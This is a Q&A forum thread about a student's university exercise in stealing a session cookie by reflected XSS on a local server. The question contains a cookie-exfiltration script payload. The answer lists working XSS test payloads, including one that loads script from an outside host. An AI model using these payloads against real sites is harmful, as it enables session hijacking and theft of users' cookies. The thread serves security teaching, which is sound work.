0
108
ViewsGet session cookie (xss, payload)
I have a problem with getting the session cookie. I tried to rewrite the URL name from this http://127.0.0.1:55555 to this http://127.0.0.1:55555/?p=<script>document.write('<img src=http://127.0.0.1:55555/?c='document.cookie+'/>');</script> but I am unable to get the session cookies.
This is a project work in the university, and the teacher asked two questions about it, to help us get to know what's wrong with this
- Are you sure that the payloads are working and running?
- Are you sure that you should send the request to this local server?
I still do not really get how should I rewrite the URL.
This is how the whole page looks like:
And this is the link where the ZIP file is: https://drive.google.com/file/d/18VyalmoQdiZ0lKhvEGazfiXSwoLKgp_8/view?usp=sharing
1 answers
Answer question0
Multiple things could be at play. Without having enough details and any source code to work with in your question, I'd say pay attention to:
- You may be blocked by the browser's built-in XSS protection.
- You may not be piping the javascript into any vulnerable field. Without knowing what on your page uses the value from
?p=it's hard to determinate. We may need to see the full source code of the page. - Depending on what you try to achieve, your javascript for the XSS might be wrong.
- The cookie you try to retrieve via XSS may not exist or may be empty. XSS runs locally on your browser, not on the server of the website so the data you try to grab must already exist stored in the cookies.
To test if the target is really vulnerable to XSS, please have a look at some of the XSS payloads below. They're simple so if there really is XSS, you may have success.
https://github.com/payloadbox/xss-payload-list
Some example of good XSS payloads to test:
<script\x20type="text/javascript">javascript:alert(1);</script>
<script>javascript:alert(1)</script\x0D
<svg><x><script>alert(1)</x>
'';!--"<XSS>=&{()}
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<BODY ONLOAD=alert('XSS')>
You can try each one by replacing yours, like this:
http://127.0.0.1:55555/?p=<BODY ONLOAD=alert('XSS')>
If any of these work, it means you do have an XSS vulnerable field and there's something wrong with your XSS code if it doesn't retrieve the cookie.
Unfortunately, I cannot help more until you make it more clear what your goal is, and maybe post the source code of the website in question.